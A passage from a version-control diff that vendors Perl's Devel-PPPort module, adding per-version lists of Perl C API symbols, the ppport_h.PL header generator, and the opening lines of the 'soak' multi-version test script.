+pad_add_name_sv                # U
+pad_findmy_pv                  # U
+pad_findmy_pvn                 # U
+pad_findmy_pvs                 # U
+pad_findmy_sv                  # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.015002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.015003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,30 @@
+5.015004
+HvENAMELEN                     # U
+HvENAMEUTF8                    # U
+HvNAMELEN                      # U
+HvNAMEUTF8                     # U
+gv_autoload_pv                 # U
+gv_autoload_pvn                # U
+gv_autoload_sv                 # U
+gv_fetchmeth_pv                # U
+gv_fetchmeth_pv_autoload       # U
+gv_fetchmeth_pvn               # U
+gv_fetchmeth_pvn_autoload      # U
+gv_fetchmeth_sv                # U
+gv_fetchmeth_sv_autoload       # U
+gv_fetchmethod_pv_flags        # U
+gv_fetchmethod_pvn_flags       # U
+gv_fetchmethod_sv_flags        # U
+gv_init_pv                     # U
+gv_init_sv                     # U
+newGVgen_flags                 # U
+sv_derived_from_pv             # U
+sv_derived_from_pvn            # U
+sv_derived_from_sv             # U
+sv_does_pv                     # U
+sv_does_pvn                    # U
+sv_does_sv                     # U
+sv_ref                         # U
+whichsig_pv                    # U
+whichsig_pvn                   # U
+whichsig_sv                    # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.015005

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015006
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015006	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015006	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.015006
+newCONSTSUB_flags              # A

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015007
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015007	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015007	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,8 @@
+5.015007
+toLOWER_utf8                   # U
+toTITLE_utf8                   # U
+toUPPER_utf8                   # U
+to_utf8_fold                   # U
+to_utf8_lower                  # U
+to_utf8_title                  # U
+to_utf8_upper                  # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015008
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015008	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015008	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,3 @@
+5.015008
+is_utf8_char_buf               # U
+wrap_op_checker                # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015009
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015009	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015009	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,5 @@
+5.015009
+utf8_to_uvchr_buf              # U
+utf8_to_uvuni_buf              # U
+valid_utf8_to_uvchr            # U
+valid_utf8_to_uvuni            # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.016000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.016001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.016002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5016003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.016003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.017000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.017001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+5.017002
+is_uni_blank                   # U
+is_uni_blank_lc                # U
+is_utf8_blank                  # U
+sv_copypv_flags                # U
+sv_copypv_nomg                 # U
+sv_vcatpvfn_flags              # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.017003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,5 @@
+5.017004
+PL_comppad_name                # E
+PadlistREFCNT                  # U
+newMYSUB                       # E (Perl_newMYSUB)
+newSVpadname                   # E

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.017005

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017006
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017006	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017006	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.017006
+READ_XDIGIT                    # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017007
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017007	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017007	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+5.017007
+SvREFCNT_dec_NN                # U
+_is_uni_perl_idstart           # U
+_is_utf8_perl_idstart          # U
+is_uni_alnumc                  # U
+is_uni_alnumc_lc               # U
+is_utf8_alnumc                 # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017008
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017008	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017008	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,8 @@
+5.017008
+_is_uni_FOO                    # U
+_is_uni_perl_idcont            # U
+_is_utf8_FOO                   # U
+_is_utf8_mark                  # U
+_is_utf8_perl_idcont           # U
+isALPHANUMERIC                 # U
+isIDCONT                       # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017009
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017009	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017009	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,3 @@
+5.017009
+av_tindex                      # U
+av_top_index                   # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017010
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017010	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017010	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.017010

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017011
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017011	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5017011	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.017011

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.018000
+hv_rand_set                    # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.018001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.018002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.018003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5018004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.018004

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.019000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,6 @@
+5.019001
+re_intuit_start                # A
+toFOLD                         # U
+toFOLD_utf8                    # U
+toLOWER_L1                     # U
+toTITLE                        # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.019002
+SVt_INVLIST                    # E

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.019003
+sv_pos_b2u_flags               # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,4 @@
+5.019004
+append_utf8_from_native_byte   # U
+is_safe_syscall                # U
+uvoffuni_to_utf8_flags         # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.019005

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019006
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019006	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019006	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.019006

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019007
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019007	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019007	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.019007
+OP_TYPE_IS                     # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019008
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019008	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019008	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.019008

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019009
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019009	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019009	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,5 @@
+5.019009
+_to_utf8_fold_flags            # A
+_to_utf8_lower_flags           # A
+_to_utf8_title_flags           # A
+_to_utf8_upper_flags           # A

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019010
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019010	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019010	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.019010
+OP_TYPE_IS_OR_WAS              # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019011
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019011	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5019011	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.019011

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.020000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.020001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.020002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5020003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.020003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.021000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,12 @@
+5.021001
+_is_in_locale_category         # U
+_is_utf8_char_slow             # U
+_is_utf8_idcont                # U
+_is_utf8_idstart               # U
+_is_utf8_xidcont               # U
+_is_utf8_xidstart              # U
+isALNUM_lazy                   # U
+isIDFIRST_lazy                 # U
+isUTF8_CHAR                    # U
+markstack_grow                 # E (Perl_markstack_grow)
+my_strerror                    # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,3 @@
+5.021002
+grok_number_flags              # U
+op_sibling_splice              # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,5 @@
+5.021004
+cv_set_call_checker_flags      # U
+grok_infnan                    # U
+isinfnan                       # U
+sync_locale                    # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,4 @@
+5.021005
+cv_name                        # A
+newMETHOP                      # U
+newMETHOP_named                # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021006
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021006	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021006	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,3 @@
+5.021006
+newDEFSVOP                     # U
+op_convert_list                # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021007
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021007	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021007	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,9 @@
+5.021007
+PadnameUTF8                    # E
+is_invariant_string            # U
+newPADNAMELIST                 # U
+newPADNAMEouter                # U
+newPADNAMEpvn                  # U
+newUNOP_AUX                    # E
+padnamelist_fetch              # U
+padnamelist_store              # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021008
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021008	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021008	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.021008
+sv_get_backrefs                # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021009
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021009	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021009	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.021009

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021010
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021010	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021010	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.021010
+DECLARATION_FOR_LC_NUMERIC_MANIPULATION # E

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021011
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021011	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5021011	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.021011

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5022000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5022000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5022000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.022000
+UVCHR_SKIP                     # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5022001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5022001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5022001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.022001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023004

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023005

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023006
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023006	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023006	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023006

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023007
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023007	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023007	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.023007

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023008
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023008	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023008	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,22 @@
+5.023008
+clear_defarray                 # U
+cx_popblock                    # U
+cx_popeval                     # U
+cx_popformat                   # U
+cx_popgiven                    # U
+cx_poploop                     # U
+cx_popsub                      # U
+cx_popsub_args                 # U
+cx_popsub_common               # U
+cx_popwhen                     # U
+cx_pushblock                   # U
+cx_pusheval                    # U
+cx_pushformat                  # U
+cx_pushgiven                   # U
+cx_pushloop_for                # U
+cx_pushloop_plain              # U
+cx_pushsub                     # U
+cx_pushwhen                    # U
+cx_topblock                    # U
+leave_adjust_stacks            # U
+savetmps                       # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023009
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023009	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5023009	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,5 @@
+5.023009
+toFOLD_uvchr                   # U
+toLOWER_uvchr                  # U
+toTITLE_uvchr                  # U
+toUPPER_uvchr                  # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5024000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5024000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5024000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,45 @@
+5.024000
+BhkDISABLE                     # E
+BhkENABLE                      # E
+BhkENTRY_set                   # E
+MULTICALL                      # E
+PERL_SYS_TERM                  # E
+POP_MULTICALL                  # E
+PUSH_MULTICALL                 # E
+PadARRAY                       # E
+PadMAX                         # E
+PadlistARRAY                   # E
+PadlistMAX                     # E
+PadlistNAMES                   # E
+PadlistNAMESARRAY              # E
+PadlistNAMESMAX                # E
+PadnameLEN                     # E
+PadnamePV                      # E
+PadnameREFCNT                  # E
+PadnameREFCNT_dec              # E
+PadnameSV                      # E
+PadnamelistARRAY               # E
+PadnamelistMAX                 # E
+PadnamelistREFCNT              # E
+PadnamelistREFCNT_dec          # E
+RESTORE_LC_NUMERIC             # E
+STORE_LC_NUMERIC_FORCE_TO_UNDERLYING # E
+STORE_LC_NUMERIC_SET_TO_NEEDED # E
+XS_APIVERSION_BOOTCHECK        # E
+XS_EXTERNAL                    # E
+XS_INTERNAL                    # E
+XS_VERSION_BOOTCHECK           # E
+XopDISABLE                     # E
+XopENABLE                      # E
+XopENTRY                       # E
+XopENTRYCUSTOM                 # E
+XopENTRY_set                   # E
+cophh_new_empty                # E
+my_lstat                       # U (Perl_my_lstat)
+my_stat                        # U (Perl_my_stat)
+reentrant_free                 # U
+reentrant_init                 # U
+reentrant_retry                # U
+reentrant_size                 # U
+ref                            # U (Perl_ref)
+sv_setref_pvs                  # A

Added: vendor/perl/dist/dist/Devel-PPPort/ppport_h.PL
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/ppport_h.PL	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/ppport_h.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,19 @@
+################################################################################
+#
+#  ppport_h.PL -- generate ppport.h
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+package Devel::PPPort;
+require "./PPPort.pm";
+rename 'ppport.h', 'ppport.old' if -f 'ppport.h';
+unlink "ppport.old" if WriteFile("ppport.h") && -f 'ppport.h';

Added: vendor/perl/dist/dist/Devel-PPPort/soak
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/soak	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/soak	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,600 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+#  soak -- Test Perl modules with multiple Perl releases.
+#
+#  Original Author: Paul Marquess
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
